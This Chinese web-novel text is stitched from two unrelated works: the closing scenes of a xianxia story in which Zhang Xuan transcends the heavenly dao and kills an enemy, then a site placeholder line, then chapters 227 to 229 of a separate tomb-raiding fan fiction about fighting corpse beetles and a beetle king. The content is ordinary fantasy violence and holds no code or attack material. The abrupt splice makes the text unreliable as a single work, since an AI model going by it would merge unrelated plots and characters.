沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第227章 血雨腥风 鄢啸南深一脚浅一脚的往前走，蹚在满是淤泥和鲜血的路上，他细想着衍卜寸屠神的那些话，因为对方的观点，无疑是推翻了他长达一千五百多年的认知，但如果衍卜寸真的能够做到实现嘴里的那些话，鄢啸南也隐隐想要赌这一回。 赌这最后的人生里，自己能否放下那不值一分钱的体面，抛弃一切外界因素，剥掉这张无法见人的老旧皮囊，和放弃那因为爱而将弟弟鄢然变成怪物的欲望……他现在只想再见鄢然一面就好，看看那被岁月光阴所遗失在过去的爱人。 在漫长且无法估量的时间里，鄢啸南走了很久才重见天日，他的拐杖将出口处的泥沙捅开，看着密林已经变的稀疏，而地面上全是深深的碎裂缝隙与沟壑，丛生的植物像是汲取了什么特殊的营养，身量与枝干疯狂的抽条，竟然在自己下斗的时间里，就拔高到了如山峰一样的耸立。 鄢啸南渺小的身躯被包围在巨大化的植物中间，盘旋在上空的乌鸦们正发出凄厉的预警，可在下一秒，它们就被不知名的力量瞬间切割掉了羽翼，鲜血像暴雨倾盆，密密的往下落着，粗暴的打在鄢啸南仰起的脸上，炽烈的红模糊了他的视线。 “天罚！这是天罚！！”鄢啸南突然像疯一般的不断呐喊，“它的力量无处不在，它看到了衍卜寸想要做的，它在警示，它……” 他还未来得及抹干脸上那一把红艳艳的血，就在自己那预知的眼中，看清了这世界真实的模样，上空出现了针织的格外细致的红绸，它的形体被固定住，如一碗倒扣的钵，却未带有任何佛家的慈悲之心，它像是要排天倒海的，将那群试图给人报信的乌鸦全部都杀掉。 惨烈的屠杀，让鄢啸南的心差点跳到了嗓子眼，他拄着拐杖，一瘸一拐的往斗口跑来路归，他想要将这个消息告诉给衍卜寸。 不是那个家伙出不了门，而是它的力量真的遍布在全世界里，它是看台后的操纵者，一直在注视所有人苦苦挣扎于它所创造的欲望中，这一次只是它发觉自己创造的狗，竟然要反咬自己这个主人才给的警告！ 但下一次，下一次就说不准了…… 也许丢掉性命的不只是这些乌鸦，而是它所创造的玩偶，是自己，是衍光善，是衍卜寸，是张祈灵和向阳以及清如…… 不仅仅是这些珍视之人，连那些物品也会被摧毁，以此来当做狗咬主人的惩罚。 鄢啸南感觉自己的喉咙里，像是涌上了血一般的腥，可是他不敢停，他的耳边响彻着风吹动树叶的沙沙声，而下一刻，树上所伏击的藤条，就好像有了生命般，似一条敏捷的鞭子朝着他后背就劈了过来。 他年纪大了，但这不代表反应不快，鄢啸南立刻回身死死用拐杖抵住对方的攻击，而就在藤条与他的拐杖撞击的一瞬间里，藤条翠绿的外壳炸裂开来，竟然露出了其内部真正的身体，蛇展开在阳光下的白色鳞片格外的高洁，它完全没有被现今的环境所污染，只是凭借着本能的张开着大嘴，将獠牙一下子啃到了拐杖上磨着。 木质的拐杖外皮因为承受不住白蛇的咬合力，开始有了碎裂的迹象，等噼里啪啦的木片掉下来时，便听到了一声清脆的骨裂咔嚓声！ 鄢啸南往后收了一下力道，整个人的腰身一软，使那只力道极大的白蛇一下就窜飞了出去，头直接撞上了山体，半个身子都嵌了进去，余下的部分还在不断的扭动着，在试图将自己拧出来。 但刚才，鄢啸南的行为可不是他卸力的表现，而是他生生利用巧劲折断了自己的脊椎，等到他单手撑地，重新站稳以后，他才咔哒咔哒的将那已经脱节的骨头给安装了回去。 如今，鄢啸南手里所握着的拐杖，也终于是褪去了所有的伪装，开始呈现出了一股森白之色，但如果有人站在这里的话，看到他手中所握的东西就能明白，那根本不可能是什么普通的拐杖，而是一个人的腿骨，是从大腿到小腿整根的骨骼。 所以鄢啸南厚重得层层叠叠的袄子下，那跛脚的单边腿，其实是空荡荡一片的，不过危机还没有解除，刹那间，他猩红的眸子就因为预知到了什么而骤然亮起，紧接着他的视线偏移，向准备欢腾而来的另一树白蛇瞪了瞪眼，像是在挑衅，也像是在威慑。 白蛇哪里能受他的气，立马蜂拥而至，一副定要将鄢啸南生吞活剥的气势。 鄢啸南知道，它的惩罚要开始了，是察觉到麾下的信徒存有异心，即将令磨好的镰刀悬在自己头顶上，准备随时劈下去的决绝。 “衍卜寸，你究竟知不知道，你所要面对的，到底是什么样的怪物啊？”鄢啸南舔了舔嘴唇上那群乌鸦的血，那其实不怎么好喝，腥的更是难闻，但他还是为了最后一丝赴死的体面，而将那血收拾了个干净，并感叹道，“真是难以对付，不过谁生谁死还说不准呢，毕竟，我可是肉身不灭的家伙……” 他现在都无法保证自己能够全身而退，直到蛇群的再一次吐信声，这才将鄢啸南准备好在此重伤的思绪骤然拉回。 衍卜寸将火机丢给张祈灵，而张祈灵则借着微弱的光源往前走，甬道内很静谧，只有走路时的沙土声粗粝的有些咯牙倒酸，可一时间不知道什么东西竟然惊动了那群还在沉睡的子铃们，在没有母铃号召，就自动的开始响了起来。 “堵住耳朵，别管看到的东西，一路往前走！”衍卜寸声音极大，在一瞬间就盖过了那些子铃，随后，它延展出来的红线将众人的腰身瞬间缠上。 感觉到这一层安全绳保护的大家，开始忽略那刺耳连带着整个头颅都在震颤的铃铛声，只跟着衍卜寸的节奏往前走。 张祈灵拿着打火机，压根没捂着耳朵，这不过是因为他之前就和走蛟干过一轮，才导致现在的听力其实并不好，而且，他的耳垂上还有未擦干的血，这使得他在听到铃响的时候，险些没反应出来危机降临。 但好在这条路并不算长，而且大家也因为之前的经验，而对青铜铃铛的环境有了一定的抵御能力，现在众人意志可谓是不一般的坚定。 等他们走到了一个侧厢室后，铃铛声也停了，张祈灵将墙壁上的烛火挨个点燃，大家才看清了这个房间的样子，没什么陪葬品，就和前面孵化那群何罗鱼的卵一样，像是特意储备的一个卵室，并不是为了放置主人家的棺材而存在的。 如果再精确一点来讲的话…… 胖子摸了摸下巴，最终总结出一个词，“这怎么那么像……宠物店里给猫特意布置的玩耍区域？这墓主人这么有闲心呢？还给这群尸鳖布置这些，跟养小猫小狗似的。” 他这话，瞬间点燃了众人还在迟钝的大脑。 因为他们脚下踩着的，是像防盗沙一样的土，但现在却呈现出了异样的黏腻，似被蛞蝓爬过，不过聪明的人更喜欢将这种场面解释为： “胖子，这一回你可算是说到点子上了，因为这确实是给成年尸蟞所建立的娱乐场所。”黑瞎子感受着自己鞋底，正飞速滑过的一个生物，这么笑着开口，像是没有什么大不了的，“说不定你再脱个鞋，它们还能给你做个足疗呢，要不要试试看？” “试你大爷！”胖子怼了回去，显然知道黑瞎子是在逗自己，于是他接着解释，“平常我去那种什么鱼疗馆，都嫌那鱼苗啃着疼，现在你还让尸鳖给我来一口？是何居心啊你！！！” 两人调笑着还不到几句话，张祈灵就直接窜了出去，他的软刃瞬间戳在了一处沙地里，大家只听到清脆的甲壳突然破裂的声音，还没有看到尸蟞的真正所在，张祈灵就率先杀了一只，这无疑是在增长士气。 衍卜寸看到之后，满眼星星眼的点了点头，全然是对张祈灵的钦佩，随后他吩咐着，“打小的，大的留下来，找一个能够替代母铃的家伙，千万别找错了。” “听到了没有，别站着了，开打吧。”霍道夫得了命令以后，便拍着黑瞎子的肩膀，提醒了一下，但他突然敏锐感觉到了哪里不对，于是，他的指尖在黑瞎子的面前晃了晃，但对方却立刻就抓住了自己的手。 黑瞎子的力气倒并不大，只是还在调笑的语气里，竟莫名让霍道夫听出来了一种真实的咬牙切齿和被打扰的反感，“我没瞎，别拿你的臭爪子在我面前晃，毕竟，你想要摸瞎瞎我可是要收钱的！” 所有的真实想法，都是借由玩笑话说出来的。 “你俩别贫了。”解雨臣立刻将霍道夫的手从黑瞎子的掌心里薅出来，然后利落地将自己兜里的卡，塞进这人皮衣胸前的口袋里，“卡里有四百万，收了钱就老实呆着去。” “得嘞！”黑瞎子兴高采烈的，连蹦蹦带跳的找了个角落窝起来。 但解雨臣就是知道，黑瞎子的眼睛明显不对，而自己也是为了守护对方那岌岌可危的自尊，因为他太清楚黑瞎子了，黑瞎子是个能够随意调侃自己瞎的人，却绝不允许别人来到他面前提这个字。 他可以说自己瞎，那是因为他本身就知道这件事无法改变，但这种事不能是霍道夫开口说，不能是又一个医生来跟他讲：‘你的眼睛没救了，好好想想接下来的生活吧……’ 那种颓废的日子，解雨臣知道，黑瞎子绝对想过，也不想去思考这些未来之事，他的得过且过，能活一天是一天的闲散态度，应该得到尊重。 毕竟那是他自己的眼睛，别人没资格评价。 而现在，张祈灵正快速抽刀，视线敏锐的在沙地上扫着，直到他用脚踢出了第二只尸蟞时，衍卜寸的子弹也招呼了上去，子弹穿过尸蟞身体，但它体液并未有一丝一毫沾染到张祈灵的外衣上。 见到这样的互帮互助，张祈灵没有时间蹦出什么感谢的词，只是微微点了点头。 而朝旭这并没有他们那种和睦的氛围，更简单来讲，是他知道自己没有那么多时间，现在所有的一切都迫在眉睫，他破败的身体也撑不住这么带着向阳走下去，所以，他的攻击方式很是粗暴，几乎全部都是用下肢战斗，一踢一踩，忽略着那股腥臭，边杀着尸蟞边找着出路。 小哥则背着吴峫来，回奔跑在厢室里，幸得空间大，才能够让他单手驮着人，并用黑金古刀来回斩杀。 地面、地下皆是一片的血雨腥风。 第228章 尸蟞王 张祈灵因为挥刀，而搞的尸蟞喷涌出来的血，全部都溅到了脸上，他抹了一把，站定住还未完全歇好的疲软身体，重重喘息。 看到他停下动作的衍卜寸并未催促，只是快速的站在了张祈灵的身旁，帮忙将这些跳起来的尸蟞们一举用红线缠上。 个中大头不一的尸蟞，连成了串子，可衍卜寸一估量重量，就能察觉出这么大点儿的家伙还是不够。 不是吴峫的脖子两个粗，能装下大到像保龄球的铃铛，而是能够指挥子铃的母铃尸蟞，实在不应该是这样的体型，起码大小要比寄居在吴峫身体里的再大一些才行，毕竟，连蜂群都会找那种体型大，且具有生育能力的雌性蜂王作为统领，更何况这群同样阶级森严的尸蟞呢？ 但所有人都知道，现在以体力去消耗这帮不知道多少的生物实在是赌徒心理，于是张祈灵看向自己被划开的手心处，想要再附加一道伤口时，他刚抬手就被衍卜寸拦了下来。 “伤害你自己身体的方法，我不同意，如果硬要放血，那就我来！”衍卜寸说完，不顾张祈灵一样不同意的目光，单手又抓住了对方试图阻拦而压来的另一只手。 胖子看到了他们两个人谁也不让谁的态度，连忙拉架，“卜寸小同志，你不能这么双标啊，谁的血不是血？拉祈灵小兄弟身上我心疼，你我们就不心疼了吗？！” “我知道你的意思，但目前想要快速把尸蟞集中在一个地方，只有这个方法了，我的红线并不能支撑太久，精神熬不住，而且大家的体力也快到极限了，我们没法走回头路了，胖子，你应该清楚这一点。”话落，衍卜寸便单手攥住张祈灵的两个手腕后，然后一顶胯，腰上皮包的扣子瞬间豁开，里面的刀毫无阻碍的蹦了出来。 紧接着他用红线勾住刀柄，在一刹那间就挥动着割开了右手心，然后，衍卜寸就像个没事人一样，跟在给鸡撒饲料似的，朝着地面上，就开始逼仄着分块泼洒血液，意图将所有的尸蟞都赶到一处。 他边撒边继续解释道，生怕胖子不信，“我的身体里有一部分麒麟血，虽然效用可能有些差了，但对付尸蟞还是绰绰有余的，至于撒多少，我自己心里有数，我不会让自己陷入危险的。” “我知道你心里有那个量，但是这玩意儿疼啊！”胖子急急忙忙的上前，由其他人开始代劳对付那些尸蟞。 而张祈灵见胖子过来，立刻蹦了两下，赶快将自己的侧腰向胖子那边送，看清这一动作的胖子，将那兜里的帕子立刻抽了出来，然后狠狠裹住了衍卜寸的手，“够了够了！咱不是做慈善，啥血能经得起你这样撒啊，瞧瞧嘴唇都白的像抹了砒霜，你不把自己作死不罢休是吗？！” 衍卜寸被张祈灵的配合还有胖子的毒舌，给甜到心里了，他扯了扯唇角，好半晌才提起力气，真正地笑了出来，但让胖子止住话语最大的功劳，还是因为他的皮囊足够好看，这眼睛一弯下去，眉梢柔和几分，就令人什么难听的话都说不出来了。 于是胖子给他系了个蝴蝶结，虽然嘴上不来个你来我回了，但是为了让对方狠狠长个记性，他不轻不重的拍了一下衍卜寸的手，不过力道真的很像是在挠痒的。 见此，衍卜寸并未疼的龇牙咧嘴，反而盈满幸福的笑容是越来越浓了，而且还特别好脾气的接了胖子的茬，“照你这么说，那我可不敢伸舌头了，万一不小心舔到嘴唇，被自己毒死了怎么办。” “呸呸呸！我说什么你还真信啊？！”胖子仿佛是怕诅咒成真一样，这么反驳着，“我告诉你！我胖爷这辈子都不可能让我兄弟在我面前死的！！” 张祈灵也在这个时候，将自己的手从衍卜寸在掌心中了豁出来，但不是嫌弃，也不是因为别的，只是从前的接触都会让衍卜寸因为吸收小寸而产生高热，但现在的这种平常的温暖，竟反而让张祈灵有些不习惯了。 刚才衍卜寸扣住他两个手腕的时候，自己能够清晰感觉到对方真实的体温，不骄不躁，也不凉不冷，舒服的像是一张盖在身上的毯子，很是完美的细腻肌肤，但虎口处却有磨人的茧，冲破了他所有的伪装，证明着他从不是养尊处优的少爷，或者富裕到珠圆玉润的商贾，而是他衍卜寸本人。 “你们别在那里兄弟情深了，尸蟞已经到中间了！”朝旭算是这里最没集体荣誉感的那一个，不对，应该是对吴峫这帮人没有感情，所以他讲求利益至上，要率先解决问题，于是，他怀中只抱着向阳，然后把曾经的搭档，已经醒过来的清如给护在了身后。 解雨臣和霍道夫还有小哥都围了过去，他们默契的并没有催促那边的胖子，而是个个都蓄势待发。 等到第一只受不了血液渗透沙土的尸蟞，突然跳起来的时候，小哥便踢了一脚，将那黑不愣登的小玩意儿送到了半空，刚还处于和胖子唠嗑状态的衍卜寸，瞬间用自己的大网将那只尸鳖兜住，一只入网以后，便是接连不断好几个。 而大家的动作整齐划一，只需要一踢脚，或者一勾，像踢毽子般将尸鳖踢向上空就可以，做的多了，时间长了，等到后面衍卜寸都不用去找尸蟞，众人便都能做到精准锁定，将尸蟞毫不犹豫的丢进网中了。 直到最后，甚至拢出了满满一兜子，而承在头顶上方，张祈灵和小哥的发丘指就发挥了作用，他们的手指插在密集的尸蟞缝隙里，从他们的甲壳摩挲过去，判断着它们的体型，并从中把瘦削的，不能用的一些给挑捡出来。 不一会儿，便仅剩下几只了，这已经算是他们二人挑的最精良的了，但衍卜寸还是摇了摇头，不过，这并不是否认他们的挑拣结果，“还是太小了，我在吴峫身体里所看到的那个尸蟞，虽然因为铃铛融入了吴峫的身体而导致它的躯壳也缩小了，但灵魂的重量是没有变的。” 衍卜寸仿佛是怕大家不相信，还抹了抹眼睛，将那双猩红的眸子，定在吴峫的身上，确认过后又重新转回了这网里的剩下几个，反复观察。 “一定还有更好的家伙。”衍卜寸这么说道，却见众人突然沉默了下来。 等张祈灵抽出了在网里继续寻找的手，视线越过了衍卜寸，而看到对方身后之物的时候，他的瞳孔突然震颤起来，因为空间里，原本供尸蟞出来的洞口竟一下变大了，而且里头正钻出了一个比人还要高的庞然大物。 它有着在黑暗中还在发亮的甲壳，像是因为烛火折射而亮眼的黑曜石，此时它的牙正试探性的悬在衍卜寸的头顶，测探他颅脑的大小，反复嗫嚅，估计是在丈量自己是否能够一口就吃掉这个猎物。 “是尸蟞王。”没想到说出这句话的，竟然是窝在角落里的黑瞎子，他挠了挠耳朵，哪怕不看，也能从尸蟞的体内空腔中，听到非同寻响的声音，“它估计是感觉到了母铃的震动，知道率领这里的尸鳖王还没有死，所以它就跑过来准备杀母夺位了，实乃蟞王界首当其冲的‘第一孝顺’啊。” “嘶啊！！！！！”尸蟞王怒吼出声，仰起的头瞬间俯下，衍卜寸快速往旁边一闪，拽住自己的红线，将一兜子尸蟞狠狠砸在了这个大尸蟞王的头上。 甲壳与甲壳的碰撞，硬度和硬度的对抗，竟然发出了震天的一响，等那红网落下的时候，尸蟞王毫发无损的再度张开大口，但这一次它的目标，却是实打实的奔着吴峫去的。 吴峫的意识一直处于混沌，此刻看到那只尸鳖王朝着自己跑来的时候，他还是靠小哥极强的本能反应，顺利躲开尸蟞王的第一次攻击的，而刹不了车的尸鳖王，便直直冲刺撞上了墙面，将獠牙嵌入的很深，可它的腿脚力量挺强大，几乎是不到两秒钟的时间，它就能将自己这个大坨子从墙里薅出来。 然后，尸蟞王再次不服输的朝着吴峫而去，但这一次它所面对的，是小哥带着吴峫的狂拉仇恨，以及衍卜寸将那些红线套上自己身体上的狠狠拖拽，还有解雨臣和霍道夫同胖子，开着快要洞穿全世界的枪。 张祈灵则于黄沙四起，枪口硝烟中，瞬间踏步而飞，等落在尸蟞王身上的那一刻，他便接过了小哥丢上来的黑金古刀。 随即，他的刀尖就抵住了尸蟞王的薄弱之处，意识到自己命脉被锁定的它，竟想要将人甩下去，但刚想要移动，它就发现自己被定在原地，连走足也无法动弹，而衍卜寸则趁它怔愣的时间，用红线撬开了他的口器，将其深入，又帮忙将小哥背上的吴峫放了下来，扶在自己的怀里。 他另一根红线从指尖冒出，由吴峫的嘴进入，这试探让吴峫感觉到了平生首次这么强烈的生理反应，他一阵的狂呕，而衍卜寸尽量让自己的动作更快一些，起码让吴峫少遭点罪，直到他抓住了那母铃，将其困难的反复撞上吴峫的扁桃体，好不容易掏出来后，他便一下将这母铃喂进了尸蟞王的嘴里。 “这是什么方法，给它吃同类，是为了补充营养吗？”解雨臣不懂就问。 衍卜寸细细解答起来，因为过度的操控红线，导致他的额头上已经冒出了冷汗，“是让两个王融合成一个。” 在说最后一句话的时候，衍卜寸便抬头看向了在尸蟞王上方的张祈灵。 “阿祈，听我的指令……”衍卜寸的气息有些微弱，红线对于他来讲就像是将灵魂抽出去，所消耗的力量和精神不比所有人差，不过还是能够忍受，他喉头滚动了下，继续说道， “一旦融合，阿祈，你就杀了它，而我会把完整的母铃剥出来，用母铃来找到青铜门所在的方位，因为母铃会判断磁场，但我开始摇铃的时候，是有副作用的……尸蟞会陷入暴乱，外面的铃铛也同时会响，到时候，所有人拔开腿就是跑，千万别停，只要在我的身边，它们不会攻击母铃，所以跟住我，一定要跟住我！” 第229章 暴乱终于开始了 尸蟞王肚子里的两个铃铛，像在做化学实验一样，滚烫的热让它开始跳脚，有些不受控制起来。 “黑瞎子，来帮忙！！！”衍卜寸见尸蟞王的力量无法压制，便将红线狠狠顺着手臂缠住勒了勒，等黑瞎子慢条斯理的走过来，接住他的红线时，他却并没有做甩手掌柜。 因为衍卜寸正徒手抓住了尸蟞王试图吐出铃铛，而不断大张的嘴，他将两片獠牙合拢，好像压根不怕会夹到自己的手一样，搞的那掌心的鲜血溢出，啪嗒啪嗒的落在尸蟞王的身上，更是让这个大家伙有些难耐的不断鼓动着身体。 它的甲壳腿相互地碰撞，试图将自己往后蹬，可张祈灵在它头顶上看出来，察觉到它准备施力逃跑以后，也只能将悬着的刀给偏移了下，于是，张祈灵为了让它放弃挣扎，便毫不犹豫的将黑金古刀前端给钉了进去，不过，这个斜切的角度是不会伤它性命的。 尸蟞王感受到了脊骨的间隙被外物所介入，一时间疼痛难忍，它刚开始还会泄发些狂，用自己的腿踹飞霍道夫的枪，但这样的反抗也将止步于此了。 衍卜寸等待着铃铛彻底融合以后，便一下掰断了它的獠牙，并从它黝黑的喉眼里，直接用红线窜了进去，他将铃铛掏了出来，但刚拿到手的时候，竟有些烫，他惊诧地呼了好几下，等温度降下去之后，才安稳地将其抱在了怀里。 